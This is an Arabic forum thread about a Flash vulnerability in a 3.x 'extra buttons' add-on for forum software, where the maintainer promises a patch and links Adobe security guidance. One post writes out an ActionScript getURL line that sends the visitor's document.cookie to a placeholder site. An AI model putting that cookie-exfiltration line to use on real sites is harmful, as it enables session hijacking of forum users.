بعد المناوشات التي حصلت هل هاك الأزرار امن

[العندليب]

ثغره الفلاش لا زالت موجوده !

وهي تعـتمـد على ادراج اوامـر جـافا

سكربت داخل الفلاش نفسه


:con2:

لا ليست موجوده والموجود هو ثغره جديده كلياً وغير معلنه وسوف اقوم بإصدار ترقيعاً لها إن شاء الله في القريب العاجل.

[NLP]

السلام عليكم ورحمة الله وبركاته


كم اشتقت لهذه الحورات والنقاشات اخوتي .. تابعو فهذه سوالف كما عهدتها ..


**** مداخله ****

اخاواني .. اعتقد انه يمكن تنفيذ السكربت في اكشن (فلاش) و (السويش)


مثال على ذلك انه بالإمكان عمل اي فريم لصفحه في السويتش

onSelfEvent (release) {
    iframeLoad("mainIframe","http://www.google.com");
}
onSelfEvent (release) {
    iframeLoad("mainIframe","introduction.html");
}
onSelfEvent (release) {
    iframeHide("mainIframe");
}
onSelfEvent (release) {
    iframeShow("mainIframe");
}
onSelfEvent (release) {
    iframeDelete("mainIframe");
} 

هذا والله اعلم .. هل باإمكان عمل نقطه دخول للموقع من ملف فلاش ام لا

[Moon4ae]

لا ليست موجوده والموجود هو ثغره جديده كلياً وغير معلنه وسوف اقوم بإصدار ترقيعاً لها إن شاء الله في القريب العاجل.

موجوده جربتها على منتداي وفعاله 100%

المصدر رسلته لك بالإميل

[Moon4ae]

يمكن إدراج امر

getURL("http://www.xxx.com/page.php?Cookie='+document.cookie"); 

داخل الفلاش نفسه وبالتالي لايمكن منع اي امر من التنفيد وهو يقوم بنقل المتصفح الى الموقع الذي تريد وهو محمل بالكوكيز الخاص بالمستخدم ..

[العندليب]

حياكم الله جميعا

بخصوص ماذكره الأخ علي2003 عن الـ ActionScript
فهذا مصدري لحل المشكله
http://www.adobe.com/devnet/security...mpsb02-08.html

وسبق وأن ذكرت هذه الملاحظات والحلول في ترقيع ثغرة الفلاش على الروابط التالي:
http://www.swalif.net/softs/showthread.php?t=124138
http://www.swalif.net/softs/showthread.php?t=124376

فأرجو منكم عدم ذكر اي استثمارات هنا يا اخواني اذا تمت تجربة ماذكرتم على اصدارات ازرار اضافيه
وارجوا ذكر الاصدار المصاب وسأسعى عاجلا لإدراج حل للمشكله.

موفقين

[Moon4ae]

حياكم الله جميعا

بخصوص ماذكره الأخ علي2003 عن الـ ActionScript
فهذا مصدري لحل المشكله
http://www.adobe.com/devnet/security...mpsb02-08.html

وسبق وأن ذكرت هذه الملاحظات والحلول في ترقيع ثغرة الفلاش على الروابط التالي:
http://www.swalif.net/softs/showthread.php?t=124138
http://www.swalif.net/softs/showthread.php?t=124376

فأرجو منكم عدم ذكر اي استثمارات هنا يا اخواني اذا تمت تجربة ماذكرتم على اصدارات ازرار اضافيه
وارجوا ذكر الاصدار المصاب وسأسعى عاجلا لإدراج حل للمشكله.

موفقين

آسف أخوي :shy:

الإصدار المصاب : الإزرار الإضافية 3.x لجريح .

جربت آخر ترقيع http://www.swalif.net/softs/showpost...3&postcount=48

لكن الثغرة لا زالت موجودة !


تحيتي